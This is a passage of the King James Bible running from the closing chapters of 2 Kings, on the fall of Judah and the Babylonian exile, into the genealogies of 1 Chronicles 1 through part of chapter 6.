shall be there. + +23:28 Now the rest of the acts of Josiah, and all that he did, are +they not written in the book of the chronicles of the kings of Judah? +23:29 In his days Pharaohnechoh king of Egypt went up against the king +of Assyria to the river Euphrates: and king Josiah went against him; +and he slew him at Megiddo, when he had seen him. + +23:30 And his servants carried him in a chariot dead from Megiddo, and +brought him to Jerusalem, and buried him in his own sepulchre. And the +people of the land took Jehoahaz the son of Josiah, and anointed him, +and made him king in his father's stead. + +23:31 Jehoahaz was twenty and three years old when he began to reign; +and he reigned three months in Jerusalem. And his mother's name was +Hamutal, the daughter of Jeremiah of Libnah. + +23:32 And he did that which was evil in the sight of the LORD, +according to all that his fathers had done. + +23:33 And Pharaohnechoh put him in bands at Riblah in the land of +Hamath, that he might not reign in Jerusalem; and put the land to a +tribute of an hundred talents of silver, and a talent of gold. + +23:34 And Pharaohnechoh made Eliakim the son of Josiah king in the +room of Josiah his father, and turned his name to Jehoiakim, and took +Jehoahaz away: and he came to Egypt, and died there. + +23:35 And Jehoiakim gave the silver and the gold to Pharaoh; but he +taxed the land to give the money according to the commandment of +Pharaoh: he exacted the silver and the gold of the people of the land, +of every one according to his taxation, to give it unto Pharaohnechoh. + +23:36 Jehoiakim was twenty and five years old when he began to reign; +and he reigned eleven years in Jerusalem. And his mother's name was +Zebudah, the daughter of Pedaiah of Rumah. + +23:37 And he did that which was evil in the sight of the LORD, +according to all that his fathers had done. + +24:1 In his days Nebuchadnezzar king of Babylon came up, and Jehoiakim +became his servant three years: then he turned and rebelled against +him. + +24:2 And the LORD sent against him bands of the Chaldees, and bands of +the Syrians, and bands of the Moabites, and bands of the children of +Ammon, and sent them against Judah to destroy it, according to the +word of the LORD, which he spake by his servants the prophets. + +24:3 Surely at the commandment of the LORD came this upon Judah, to +remove them out of his sight, for the sins of Manasseh, according to +all that he did; 24:4 And also for the innocent blood that he shed: +for he filled Jerusalem with innocent blood; which the LORD would not +pardon. + +24:5 Now the rest of the acts of Jehoiakim, and all that he did, are +they not written in the book of the chronicles of the kings of Judah? +24:6 So Jehoiakim slept with his fathers: and Jehoiachin his son +reigned in his stead. + +24:7 And the king of Egypt came not again any more out of his land: +for the king of Babylon had taken from the river of Egypt unto the +river Euphrates all that pertained to the king of Egypt. + +24:8 Jehoiachin was eighteen years old when he began to reign, and he +reigned in Jerusalem three months. And his mother's name was Nehushta, +the daughter of Elnathan of Jerusalem. + +24:9 And he did that which was evil in the sight of the LORD, +according to all that his father had done. + +24:10 At that time the servants of Nebuchadnezzar king of Babylon came +up against Jerusalem, and the city was besieged. + +24:11 And Nebuchadnezzar king of Babylon came against the city, and +his servants did besiege it. + +24:12 And Jehoiachin the king of Judah went out to the king of +Babylon, he, and his mother, and his servants, and his princes, and +his officers: and the king of Babylon took him in the eighth year of +his reign. + +24:13 And he carried out thence all the treasures of the house of the +LORD, and the treasures of the king's house, and cut in pieces all the +vessels of gold which Solomon king of Israel had made in the temple of +the LORD, as the LORD had said. + +24:14 And he carried away all Jerusalem, and all the princes, and all +the mighty men of valour, even ten thousand captives, and all the +craftsmen and smiths: none remained, save the poorest sort of the +people of the land. + +24:15 And he carried away Jehoiachin to Babylon, and the king's +mother, and the king's wives, and his officers, and the mighty of the +land, those carried he into captivity from Jerusalem to Babylon. + +24:16 And all the men of might, even seven thousand, and craftsmen and +smiths a thousand, all that were strong and apt for war, even them the +king of Babylon brought captive to Babylon. + +24:17 And the king of Babylon made Mattaniah his father's brother king +in his stead, and changed his name to Zedekiah. + +24:18 Zedekiah was twenty and one years old when he began to reign, +and he reigned eleven years in Jerusalem. And his mother's name was +Hamutal, the daughter of Jeremiah of Libnah. + +24:19 And he did that which was evil in the sight of the LORD, +according to all that Jehoiakim had done. + +24:20 For through the anger of the LORD it came to pass in Jerusalem +and Judah, until he had cast them out from his presence, that Zedekiah +rebelled against the king of Babylon. + +25:1 And it came to pass in the ninth year of his reign, in the tenth +month, in the tenth day of the month, that Nebuchadnezzar king of +Babylon came, he, and all his host, against Jerusalem, and pitched +against it; and they built forts against it round about. + +25:2 And the city was besieged unto the eleventh year of king +Zedekiah. + +25:3 And on the ninth day of the fourth month the famine prevailed in +the city, and there was no bread for the people of the land. + +25:4 And the city was broken up, and all the men of war fled by night +by the way of the gate between two walls, which is by the king's +garden: (now the Chaldees were against the city round about:) and the +king went the way toward the plain. + +25:5 And the army of the Chaldees pursued after the king, and overtook +him in the plains of Jericho: and all his army were scattered from +him. + +25:6 So they took the king, and brought him up to the king of Babylon +to Riblah; and they gave judgment upon him. + +25:7 And they slew the sons of Zedekiah before his eyes, and put out +the eyes of Zedekiah, and bound him with fetters of brass, and carried +him to Babylon. + +25:8 And in the fifth month, on the seventh day of the month, which is +the nineteenth year of king Nebuchadnezzar king of Babylon, came +Nebuzaradan, captain of the guard, a servant of the king of Babylon, +unto Jerusalem: 25:9 And he burnt the house of the LORD, and the +king's house, and all the houses of Jerusalem, and every great man's +house burnt he with fire. + +25:10 And all the army of the Chaldees, that were with the captain of +the guard, brake down the walls of Jerusalem round about. + +25:11 Now the rest of the people that were left in the city, and the +fugitives that fell away to the king of Babylon, with the remnant of +the multitude, did Nebuzaradan the captain of the guard carry away. + +25:12 But the captain of the guard left of the door of the poor of the +land to be vinedressers and husbandmen. + +25:13 And the pillars of brass that were in the house of the LORD, and +the bases, and the brasen sea that was in the house of the LORD, did +the Chaldees break in pieces, and carried the brass of them to +Babylon. + +25:14 And the pots, and the shovels, and the snuffers, and the spoons, +and all the vessels of brass wherewith they ministered, took they +away. + +25:15 And the firepans, and the bowls, and such things as were of +gold, in gold, and of silver, in silver, the captain of the guard took +away. + +25:16 The two pillars, one sea, and the bases which Solomon had made +for the house of the LORD; the brass of all these vessels was without +weight. + +25:17 The height of the one pillar was eighteen cubits, and the +chapiter upon it was brass: and the height of the chapiter three +cubits; and the wreathen work, and pomegranates upon the chapiter +round about, all of brass: and like unto these had the second pillar +with wreathen work. + +25:18 And the captain of the guard took Seraiah the chief priest, and +Zephaniah the second priest, and the three keepers of the door: 25:19 +And out of the city he took an officer that was set over the men of +war, and five men of them that were in the king's presence, which were +found in the city, and the principal scribe of the host, which +mustered the people of the land, and threescore men of the people of +the land that were found in the city: 25:20 And Nebuzaradan captain of +the guard took these, and brought them to the king of Babylon to +Riblah: 25:21 And the king of Babylon smote them, and slew them at +Riblah in the land of Hamath. So Judah was carried away out of their +land. + +25:22 And as for the people that remained in the land of Judah, whom +Nebuchadnezzar king of Babylon had left, even over them he made +Gedaliah the son of Ahikam, the son of Shaphan, ruler. + +25:23 And when all the captains of the armies, they and their men, +heard that the king of Babylon had made Gedaliah governor, there came +to Gedaliah to Mizpah, even Ishmael the son of Nethaniah, and Johanan +the son of Careah, and Seraiah the son of Tanhumeth the Netophathite, +and Jaazaniah the son of a Maachathite, they and their men. + +25:24 And Gedaliah sware to them, and to their men, and said unto +them, Fear not to be the servants of the Chaldees: dwell in the land, +and serve the king of Babylon; and it shall be well with you. + +25:25 But it came to pass in the seventh month, that Ishmael the son +of Nethaniah, the son of Elishama, of the seed royal, came, and ten +men with him, and smote Gedaliah, that he died, and the Jews and the +Chaldees that were with him at Mizpah. + +25:26 And all the people, both small and great, and the captains of +the armies, arose, and came to Egypt: for they were afraid of the +Chaldees. + +25:27 And it came to pass in the seven and thirtieth year of the +captivity of Jehoiachin king of Judah, in the twelfth month, on the +seven and twentieth day of the month, that Evilmerodach king of +Babylon in the year that he began to reign did lift up the head of +Jehoiachin king of Judah out of prison; 25:28 And he spake kindly to +him, and set his throne above the throne of the kings that were with +him in Babylon; 25:29 And changed his prison garments: and he did eat +bread continually before him all the days of his life. + +25:30 And his allowance was a continual allowance given him of the +king, a daily rate for every day, all the days of his life. + + + + +The First Book of the Chronicles + + +1:1 Adam, Sheth, Enosh, 1:2 Kenan, Mahalaleel, Jered, 1:3 Henoch, +Methuselah, Lamech, 1:4 Noah, Shem, Ham, and Japheth. + +1:5 The sons of Japheth; Gomer, and Magog, and Madai, and Javan, and +Tubal, and Meshech, and Tiras. + +1:6 And the sons of Gomer; Ashchenaz, and Riphath, and Togarmah. + +1:7 And the sons of Javan; Elishah, and Tarshish, Kittim, and Dodanim. + +1:8 The sons of Ham; Cush, and Mizraim, Put, and Canaan. + +1:9 And the sons of Cush; Seba, and Havilah, and Sabta, and Raamah, +and Sabtecha. And the sons of Raamah; Sheba, and Dedan. + +1:10 And Cush begat Nimrod: he began to be mighty upon the earth. + +1:11 And Mizraim begat Ludim, and Anamim, and Lehabim, and Naphtuhim, +1:12 And Pathrusim, and Casluhim, (of whom came the Philistines,) and +Caphthorim. + +1:13 And Canaan begat Zidon his firstborn, and Heth, 1:14 The Jebusite +also, and the Amorite, and the Girgashite, 1:15 And the Hivite, and +the Arkite, and the Sinite, 1:16 And the Arvadite, and the Zemarite, +and the Hamathite. + +1:17 The sons of Shem; Elam, and Asshur, and Arphaxad, and Lud, and +Aram, and Uz, and Hul, and Gether, and Meshech. + +1:18 And Arphaxad begat Shelah, and Shelah begat Eber. + +1:19 And unto Eber were born two sons: the name of the one was Peleg; +because in his days the earth was divided: and his brother's name was +Joktan. + +1:20 And Joktan begat Almodad, and Sheleph, and Hazarmaveth, and +Jerah, 1:21 Hadoram also, and Uzal, and Diklah, 1:22 And Ebal, and +Abimael, and Sheba, 1:23 And Ophir, and Havilah, and Jobab. All these +were the sons of Joktan. + +1:24 Shem, Arphaxad, Shelah, 1:25 Eber, Peleg, Reu, 1:26 Serug, Nahor, +Terah, 1:27 Abram; the same is Abraham. + +1:28 The sons of Abraham; Isaac, and Ishmael. + +1:29 These are their generations: The firstborn of Ishmael, Nebaioth; +then Kedar, and Adbeel, and Mibsam, 1:30 Mishma, and Dumah, Massa, +Hadad, and Tema, 1:31 Jetur, Naphish, and Kedemah. These are the sons +of Ishmael. + +1:32 Now the sons of Keturah, Abraham's concubine: she bare Zimran, +and Jokshan, and Medan, and Midian, and Ishbak, and Shuah. And the +sons of Jokshan; Sheba, and Dedan. + +1:33 And the sons of Midian; Ephah, and Epher, and Henoch, and Abida, +and Eldaah. All these are the sons of Keturah. + +1:34 And Abraham begat Isaac. The sons of Isaac; Esau and Israel. + +1:35 The sons of Esau; Eliphaz, Reuel, and Jeush, and Jaalam, and +Korah. + +1:36 The sons of Eliphaz; Teman, and Omar, Zephi, and Gatam, Kenaz, +and Timna, and Amalek. + +1:37 The sons of Reuel; Nahath, Zerah, Shammah, and Mizzah. + +1:38 And the sons of Seir; Lotan, and Shobal, and Zibeon, and Anah, +and Dishon, and Ezar, and Dishan. + +1:39 And the sons of Lotan; Hori, and Homam: and Timna was Lotan's +sister. + +1:40 The sons of Shobal; Alian, and Manahath, and Ebal, Shephi, and +Onam. + +and the sons of Zibeon; Aiah, and Anah. + +1:41 The sons of Anah; Dishon. And the sons of Dishon; Amram, and +Eshban, and Ithran, and Cheran. + +1:42 The sons of Ezer; Bilhan, and Zavan, and Jakan. The sons of +Dishan; Uz, and Aran. + +1:43 Now these are the kings that reigned in the land of Edom before +any king reigned over the children of Israel; Bela the son of Beor: +and the name of his city was Dinhabah. + +1:44 And when Bela was dead, Jobab the son of Zerah of Bozrah reigned +in his stead. + +1:45 And when Jobab was dead, Husham of the land of the Temanites +reigned in his stead. + +1:46 And when Husham was dead, Hadad the son of Bedad, which smote +Midian in the field of Moab, reigned in his stead: and the name of his +city was Avith. + +1:47 And when Hadad was dead, Samlah of Masrekah reigned in his stead. + +1:48 And when Samlah was dead, Shaul of Rehoboth by the river reigned +in his stead. + +1:49 And when Shaul was dead, Baalhanan the son of Achbor reigned in +his stead. + +1:50 And when Baalhanan was dead, Hadad reigned in his stead: and the +name of his city was Pai; and his wife's name was Mehetabel, the +daughter of Matred, the daughter of Mezahab. + +1:51 Hadad died also. And the dukes of Edom were; duke Timnah, duke +Aliah, duke Jetheth, 1:52 Duke Aholibamah, duke Elah, duke Pinon, 1:53 +Duke Kenaz, duke Teman, duke Mibzar, 1:54 Duke Magdiel, duke Iram. +These are the dukes of Edom. + +2:1 These are the sons of Israel; Reuben, Simeon, Levi, and Judah, +Issachar, and Zebulun, 2:2 Dan, Joseph, and Benjamin, Naphtali, Gad, +and Asher. + +2:3 The sons of Judah; Er, and Onan, and Shelah: which three were born +unto him of the daughter of Shua the Canaanitess. And Er, the +firstborn of Judah, was evil in the sight of the LORD; and he slew +him. + +2:4 And Tamar his daughter in law bore him Pharez and Zerah. All the +sons of Judah were five. + +2:5 The sons of Pharez; Hezron, and Hamul. + +2:6 And the sons of Zerah; Zimri, and Ethan, and Heman, and Calcol, +and Dara: five of them in all. + +2:7 And the sons of Carmi; Achar, the troubler of Israel, who +transgressed in the thing accursed. + +2:8 And the sons of Ethan; Azariah. + +2:9 The sons also of Hezron, that were born unto him; Jerahmeel, and +Ram, and Chelubai. + +2:10 And Ram begat Amminadab; and Amminadab begat Nahshon, prince of +the children of Judah; 2:11 And Nahshon begat Salma, and Salma begat +Boaz, 2:12 And Boaz begat Obed, and Obed begat Jesse, 2:13 And Jesse +begat his firstborn Eliab, and Abinadab the second, and Shimma the +third, 2:14 Nethaneel the fourth, Raddai the fifth, 2:15 Ozem the +sixth, David the seventh: 2:16 Whose sisters were Zeruiah, and +Abigail. And the sons of Zeruiah; Abishai, and Joab, and Asahel, +three. + +2:17 And Abigail bare Amasa: and the father of Amasa was Jether the +Ishmeelite. + +2:18 And Caleb the son of Hezron begat children of Azubah his wife, +and of Jerioth: her sons are these; Jesher, and Shobab, and Ardon. + +2:19 And when Azubah was dead, Caleb took unto him Ephrath, which bare +him Hur. + +2:20 And Hur begat Uri, and Uri begat Bezaleel. + +2:21 And afterward Hezron went in to the daughter of Machir the father +of Gilead, whom he married when he was threescore years old; and she +bare him Segub. + +2:22 And Segub begat Jair, who had three and twenty cities in the land +of Gilead. + +2:23 And he took Geshur, and Aram, with the towns of Jair, from them, +with Kenath, and the towns thereof, even threescore cities. All these +belonged to the sons of Machir the father of Gilead. + +2:24 And after that Hezron was dead in Calebephratah, then Abiah +Hezron's wife bare him Ashur the father of Tekoa. + +2:25 And the sons of Jerahmeel the firstborn of Hezron were, Ram the +firstborn, and Bunah, and Oren, and Ozem, and Ahijah. + +2:26 Jerahmeel had also another wife, whose name was Atarah; she was +the mother of Onam. + +2:27 And the sons of Ram the firstborn of Jerahmeel were, Maaz, and +Jamin, and Eker. + +2:28 And the sons of Onam were, Shammai, and Jada. And the sons of +Shammai; Nadab and Abishur. + +2:29 And the name of the wife of Abishur was Abihail, and she bare him +Ahban, and Molid. + +2:30 And the sons of Nadab; Seled, and Appaim: but Seled died without +children. + +2:31 And the sons of Appaim; Ishi. And the sons of Ishi; Sheshan. And +the children of Sheshan; Ahlai. + +2:32 And the sons of Jada the brother of Shammai; Jether, and +Jonathan: and Jether died without children. + +2:33 And the sons of Jonathan; Peleth, and Zaza. These were the sons +of Jerahmeel. + +2:34 Now Sheshan had no sons, but daughters. And Sheshan had a +servant, an Egyptian, whose name was Jarha. + +2:35 And Sheshan gave his daughter to Jarha his servant to wife; and +she bare him Attai. + +2:36 And Attai begat Nathan, and Nathan begat Zabad, 2:37 And Zabad +begat Ephlal, and Ephlal begat Obed, 2:38 And Obed begat Jehu, and +Jehu begat Azariah, 2:39 And Azariah begat Helez, and Helez begat +Eleasah, 2:40 And Eleasah begat Sisamai, and Sisamai begat Shallum, +2:41 And Shallum begat Jekamiah, and Jekamiah begat Elishama. + +2:42 Now the sons of Caleb the brother of Jerahmeel were, Mesha his +firstborn, which was the father of Ziph; and the sons of Mareshah the +father of Hebron. + +2:43 And the sons of Hebron; Korah, and Tappuah, and Rekem, and Shema. + +2:44 And Shema begat Raham, the father of Jorkoam: and Rekem begat +Shammai. + +2:45 And the son of Shammai was Maon: and Maon was the father of +Bethzur. + +2:46 And Ephah, Caleb's concubine, bare Haran, and Moza, and Gazez: +and Haran begat Gazez. + +2:47 And the sons of Jahdai; Regem, and Jotham, and Gesham, and Pelet, +and Ephah, and Shaaph. + +2:48 Maachah, Caleb's concubine, bare Sheber, and Tirhanah. + +2:49 She bare also Shaaph the father of Madmannah, Sheva the father of +Machbenah, and the father of Gibea: and the daughter of Caleb was +Achsa. + +2:50 These were the sons of Caleb the son of Hur, the firstborn of +Ephratah; Shobal the father of Kirjathjearim. + +2:51 Salma the father of Bethlehem, Hareph the father of Bethgader. + +2:52 And Shobal the father of Kirjathjearim had sons; Haroeh, and half +of the Manahethites. + +2:53 And the families of Kirjathjearim; the Ithrites, and the Puhites, +and the Shumathites, and the Mishraites; of them came the Zareathites, +and the Eshtaulites, 2:54 The sons of Salma; Bethlehem, and the +Netophathites, Ataroth, the house of Joab, and half of the +Manahethites, the Zorites. + +2:55 And the families of the scribes which dwelt at Jabez; the +Tirathites, the Shimeathites, and Suchathites. These are the Kenites +that came of Hemath, the father of the house of Rechab. + +3:1 Now these were the sons of David, which were born unto him in +Hebron; the firstborn Amnon, of Ahinoam the Jezreelitess; the second +Daniel, of Abigail the Carmelitess: 3:2 The third, Absalom the son of +Maachah the daughter of Talmai king of Geshur: the fourth, Adonijah +the son of Haggith: 3:3 The fifth, Shephatiah of Abital: the sixth, +Ithream by Eglah his wife. + +3:4 These six were born unto him in Hebron; and there he reigned seven +years and six months: and in Jerusalem he reigned thirty and three +years. + +3:5 And these were born unto him in Jerusalem; Shimea, and Shobab, and +Nathan, and Solomon, four, of Bathshua the daughter of Ammiel: 3:6 +Ibhar also, and Elishama, and Eliphelet, 3:7 And Nogah, and Nepheg, +and Japhia, 3:8 And Elishama, and Eliada, and Eliphelet, nine. + +3:9 These were all the sons of David, beside the sons of the +concubines, and Tamar their sister. + +3:10 And Solomon's son was Rehoboam, Abia his son, Asa his son, +Jehoshaphat his son, 3:11 Joram his son, Ahaziah his son, Joash his +son, 3:12 Amaziah his son, Azariah his son, Jotham his son, 3:13 Ahaz +his son, Hezekiah his son, Manasseh his son, 3:14 Amon his son, Josiah +his son. + +3:15 And the sons of Josiah were, the firstborn Johanan, the second +Jehoiakim, the third Zedekiah, the fourth Shallum. + +3:16 And the sons of Jehoiakim: Jeconiah his son, Zedekiah his son. + +3:17 And the sons of Jeconiah; Assir, Salathiel his son, 3:18 +Malchiram also, and Pedaiah, and Shenazar, Jecamiah, Hoshama, and +Nedabiah. + +3:19 And the sons of Pedaiah were, Zerubbabel, and Shimei: and the +sons of Zerubbabel; Meshullam, and Hananiah, and Shelomith their +sister: 3:20 And Hashubah, and Ohel, and Berechiah, and Hasadiah, +Jushabhesed, five. + +3:21 And the sons of Hananiah; Pelatiah, and Jesaiah: the sons of +Rephaiah, the sons of Arnan, the sons of Obadiah, the sons of +Shechaniah. + +3:22 And the sons of Shechaniah; Shemaiah: and the sons of Shemaiah; +Hattush, and Igeal, and Bariah, and Neariah, and Shaphat, six. + +3:23 And the sons of Neariah; Elioenai, and Hezekiah, and Azrikam, +three. + +3:24 And the sons of Elioenai were, Hodaiah, and Eliashib, and +Pelaiah, and Akkub, and Johanan, and Dalaiah, and Anani, seven. + +4:1 The sons of Judah; Pharez, Hezron, and Carmi, and Hur, and Shobal. + +4:2 And Reaiah the son of Shobal begat Jahath; and Jahath begat +Ahumai, and Lahad. These are the families of the Zorathites. + +4:3 And these were of the father of Etam; Jezreel, and Ishma, and +Idbash: and the name of their sister was Hazelelponi: 4:4 And Penuel +the father of Gedor, and Ezer the father of Hushah. These are the sons +of Hur, the firstborn of Ephratah, the father of Bethlehem. + +4:5 And Ashur the father of Tekoa had two wives, Helah and Naarah. + +4:6 And Naarah bare him Ahuzam, and Hepher, and Temeni, and +Haahashtari. + +These were the sons of Naarah. + +4:7 And the sons of Helah were, Zereth, and Jezoar, and Ethnan. + +4:8 And Coz begat Anub, and Zobebah, and the families of Aharhel the +son of Harum. + +4:9 And Jabez was more honourable than his brethren: and his mother +called his name Jabez, saying, Because I bare him with sorrow. + +4:10 And Jabez called on the God of Israel, saying, Oh that thou +wouldest bless me indeed, and enlarge my coast, and that thine hand +might be with me, and that thou wouldest keep me from evil, that it +may not grieve me! And God granted him that which he requested. + +4:11 And Chelub the brother of Shuah begat Mehir, which was the father +of Eshton. + +4:12 And Eshton begat Bethrapha, and Paseah, and Tehinnah the father +of Irnahash. These are the men of Rechah. + +4:13 And the sons of Kenaz; Othniel, and Seraiah: and the sons of +Othniel; Hathath. + +4:14 And Meonothai begat Ophrah: and Seraiah begat Joab, the father of +the valley of Charashim; for they were craftsmen. + +4:15 And the sons of Caleb the son of Jephunneh; Iru, Elah, and Naam: +and the sons of Elah, even Kenaz. + +4:16 And the sons of Jehaleleel; Ziph, and Ziphah, Tiria, and Asareel. + +4:17 And the sons of Ezra were, Jether, and Mered, and Epher, and +Jalon: and she bare Miriam, and Shammai, and Ishbah the father of +Eshtemoa. + +4:18 And his wife Jehudijah bare Jered the father of Gedor, and Heber +the father of Socho, and Jekuthiel the father of Zanoah. And these are +the sons of Bithiah the daughter of Pharaoh, which Mered took. + +4:19 And the sons of his wife Hodiah the sister of Naham, the father +of Keilah the Garmite, and Eshtemoa the Maachathite. + +4:20 And the sons of Shimon were, Amnon, and Rinnah, Benhanan, and +Tilon. + +And the sons of Ishi were, Zoheth, and Benzoheth. + +4:21 The sons of Shelah the son of Judah were, Er the father of Lecah, +and Laadah the father of Mareshah, and the families of the house of +them that wrought fine linen, of the house of Ashbea, 4:22 And Jokim, +and the men of Chozeba, and Joash, and Saraph, who had the dominion in +Moab, and Jashubilehem. And these are ancient things. + +4:23 These were the potters, and those that dwelt among plants and +hedges: there they dwelt with the king for his work. + +4:24 The sons of Simeon were, Nemuel, and Jamin, Jarib, Zerah, and +Shaul: 4:25 Shallum his son, Mibsam his son, Mishma his son. + +4:26 And the sons of Mishma; Hamuel his son, Zacchur his son, Shimei +his son. + +4:27 And Shimei had sixteen sons and six daughters: but his brethren +had not many children, neither did all their family multiply, like to +the children of Judah. + +4:28 And they dwelt at Beersheba, and Moladah, and Hazarshual, 4:29 +And at Bilhah, and at Ezem, and at Tolad, 4:30 And at Bethuel, and at +Hormah, and at Ziklag, 4:31 And at Bethmarcaboth, and Hazarsusim, and +at Bethbirei, and at Shaaraim. These were their cities unto the reign +of David. + +4:32 And their villages were, Etam, and Ain, Rimmon, and Tochen, and +Ashan, five cities: 4:33 And all their villages that were round about +the same cities, unto Baal. These were their habitations, and their +genealogy. + +4:34 And Meshobab, and Jamlech, and Joshah, the son of Amaziah, 4:35 +And Joel, and Jehu the son of Josibiah, the son of Seraiah, the son of +Asiel, 4:36 And Elioenai, and Jaakobah, and Jeshohaiah, and Asaiah, +and Adiel, and Jesimiel, and Benaiah, 4:37 And Ziza the son of Shiphi, +the son of Allon, the son of Jedaiah, the son of Shimri, the son of +Shemaiah; 4:38 These mentioned by their names were princes in their +families: and the house of their fathers increased greatly. + +4:39 And they went to the entrance of Gedor, even unto the east side +of the valley, to seek pasture for their flocks. + +4:40 And they found fat pasture and good, and the land was wide, and +quiet, and peaceable; for they of Ham had dwelt there of old. + +4:41 And these written by name came in the days of Hezekiah king of +Judah, and smote their tents, and the habitations that were found +there, and destroyed them utterly unto this day, and dwelt in their +rooms: because there was pasture there for their flocks. + +4:42 And some of them, even of the sons of Simeon, five hundred men, +went to mount Seir, having for their captains Pelatiah, and Neariah, +and Rephaiah, and Uzziel, the sons of Ishi. + +4:43 And they smote the rest of the Amalekites that were escaped, and +dwelt there unto this day. + +5:1 Now the sons of Reuben the firstborn of Israel, (for he was the +firstborn; but forasmuch as he defiled his father's bed, his +birthright was given unto the sons of Joseph the son of Israel: and +the genealogy is not to be reckoned after the birthright. + +5:2 For Judah prevailed above his brethren, and of him came the chief +ruler; but the birthright was Joseph's:) 5:3 The sons, I say, of +Reuben the firstborn of Israel were, Hanoch, and Pallu, Hezron, and +Carmi. + +5:4 The sons of Joel; Shemaiah his son, Gog his son, Shimei his son, +5:5 Micah his son, Reaia his son, Baal his son, 5:6 Beerah his son, +whom Tilgathpilneser king of Assyria carried away captive: he was +prince of the Reubenites. + +5:7 And his brethren by their families, when the genealogy of their +generations was reckoned, were the chief, Jeiel, and Zechariah, 5:8 +And Bela the son of Azaz, the son of Shema, the son of Joel, who dwelt +in Aroer, even unto Nebo and Baalmeon: 5:9 And eastward he inhabited +unto the entering in of the wilderness from the river Euphrates: +because their cattle were multiplied in the land of Gilead. + +5:10 And in the days of Saul they made war with the Hagarites, who +fell by their hand: and they dwelt in their tents throughout all the +east land of Gilead. + +5:11 And the children of Gad dwelt over against them, in the land of +Bashan unto Salcah: 5:12 Joel the chief, and Shapham the next, and +Jaanai, and Shaphat in Bashan. + +5:13 And their brethren of the house of their fathers were, Michael, +and Meshullam, and Sheba, and Jorai, and Jachan, and Zia, and Heber, +seven. + +5:14 These are the children of Abihail the son of Huri, the son of +Jaroah, the son of Gilead, the son of Michael, the son of Jeshishai, +the son of Jahdo, the son of Buz; 5:15 Ahi the son of Abdiel, the son +of Guni, chief of the house of their fathers. + +5:16 And they dwelt in Gilead in Bashan, and in her towns, and in all +the suburbs of Sharon, upon their borders. + +5:17 All these were reckoned by genealogies in the days of Jotham king +of Judah, and in the days of Jeroboam king of Israel. + +5:18 The sons of Reuben, and the Gadites, and half the tribe of +Manasseh, of valiant men, men able to bear buckler and sword, and to +shoot with bow, and skilful in war, were four and forty thousand seven +hundred and threescore, that went out to the war. + +5:19 And they made war with the Hagarites, with Jetur, and Nephish, +and Nodab. + +5:20 And they were helped against them, and the Hagarites were +delivered into their hand, and all that were with them: for they cried +to God in the battle, and he was intreated of them; because they put +their trust in him. + +5:21 And they took away their cattle; of their camels fifty thousand, +and of sheep two hundred and fifty thousand, and of asses two +thousand, and of men an hundred thousand. + +5:22 For there fell down many slain, because the war was of God. And +they dwelt in their steads until the captivity. + +5:23 And the children of the half tribe of Manasseh dwelt in the land: +they increased from Bashan unto Baalhermon and Senir, and unto mount +Hermon. + +5:24 And these were the heads of the house of their fathers, even +Epher, and Ishi, and Eliel, and Azriel, and Jeremiah, and Hodaviah, +and Jahdiel, mighty men of valour, famous men, and heads of the house +of their fathers. + +5:25 And they transgressed against the God of their fathers, and went +a whoring after the gods of the people of the land, whom God destroyed +before them. + +5:26 And the God of Israel stirred up the spirit of Pul king of +Assyria, and the spirit of Tilgathpilneser king of Assyria, and he +carried them away, even the Reubenites, and the Gadites, and the half +tribe of Manasseh, and brought them unto Halah, and Habor, and Hara, +and to the river Gozan, unto this day. + +6:1 The sons of Levi; Gershon, Kohath, and Merari. + +6:2 And the sons of Kohath; Amram, Izhar, and Hebron, and Uzziel. + +6:3 And the children of Amram; Aaron, and Moses, and Miriam. The sons +also of Aaron; Nadab, and Abihu, Eleazar, and Ithamar. + +6:4 Eleazar begat Phinehas, Phinehas begat Abishua, 6:5 And Abishua +begat Bukki, and Bukki begat Uzzi, 6:6 And Uzzi begat Zerahiah, and +Zerahiah begat Meraioth, 6:7 Meraioth begat Amariah, and Amariah begat +Ahitub, 6:8 And Ahitub begat Zadok, and Zadok begat Ahimaaz, 6:9 And +Ahimaaz begat Azariah, and Azariah begat Johanan, 6:10 And Johanan +begat Azariah, (he it is that executed the priest's office in the +temple that Solomon built in Jerusalem:) 6:11 And Azariah begat +Amariah, and Amariah begat Ahitub, 6:12 And Ahitub begat Zadok, and +Zadok begat Shallum, 6:13 And Shallum begat Hilkiah, and Hilkiah begat +Azariah, 6:14 And Azariah begat Seraiah, and Seraiah begat Jehozadak, +6:15 And Jehozadak went into captivity, when the LORD carried away +Judah and Jerusalem by the hand of Nebuchadnezzar. + +6:16 The sons of Levi; Gershom, Kohath, and Merari. + +6:17 And these be the names of the sons of Gershom; Libni, and Shimei. + +6:18 And the sons of Kohath were, Amram, and Izhar, and Hebron, and +Uzziel. + +6:19 The sons of Merari; Mahli, and Mushi. And these are the families +of the Levites according to their fathers. + +6:20 Of Gershom; Libni his son, Jahath his son, Zimmah his son, 6:21 +Joah his son, Iddo his son, Zerah his son, Jeaterai his son. + +6:22 The sons of Kohath; Amminadab his son, Korah his son, Assir his +son, 6:23 Elkanah his son, and Ebiasaph his son, and Assir his son, +6:24 Tahath his son, Uriel his son, Uzziah his son, and Shaul his son. + +6:25 And the sons of Elkanah; Amasai, and Ahimoth. + +6:26 As for Elkanah: the sons of Elkanah; Zophai his son, and Nahath +his son, 6:27 Eliab his son, Jeroham his son, Elkanah his son. + +6:28 And the sons of Samuel; the firstborn Vashni, and Abiah. + +6:29 The sons of Merari; Mahli, Libni his son, Shimei his son, Uzza +his son, 6:30 Shimea his son, Haggiah his son, Asaiah his son. + +6:31 And these are they whom David set over the service of song in the +house of the LORD, after that the ark had rest. + +6:32 And they ministered before the dwelling place of the tabernacle +of the congregation with singing, until Solomon had built the house of +the LORD in Jerusalem: and then they waited on their office according +to their order. + +6:33 And these are they that waited with their children. Of the sons +of the Kohathites: Heman a singer, the son of Joel, the son of +Shemuel, 6:34 The son of Elkanah, the son of Jeroham, the son of +Eliel, the son of Toah, 6:35 The son of Zuph, the son of Elkanah, the +son of Mahath, the son of Amasai, 6:36 The son of Elkanah, the son of +Joel, the son of Azariah, the son of Zephaniah, 6:37 The son of +Tahath, the son of Assir, the son of Ebiasaph, the son of Korah, 6:38 +The son of Izhar, the son of Kohath, the son of Levi, the son of +Israel. + +6:39 And his brother Asaph, who stood on his right hand, even Asaph +the son of Berachiah, the son of Shimea, 6:40 The son of Michael, the +son of Baaseiah, the son of Malchiah, 6:41 The son of Ethni, the son +of Zerah, the son of Adaiah, 6:42 The son of Ethan, the son of Zimmah, +the son of Shimei, 6:43 The son of Jahath, the son of Gershom, the son +of Levi. + +6:44 And their brethren the sons of Merari stood on the left hand: +Ethan the son of Kishi, the son of Abdi, the son of Malluch, 6:45 The +son of Hashabiah, the son of Amaziah, the son of Hilkiah, 6:46 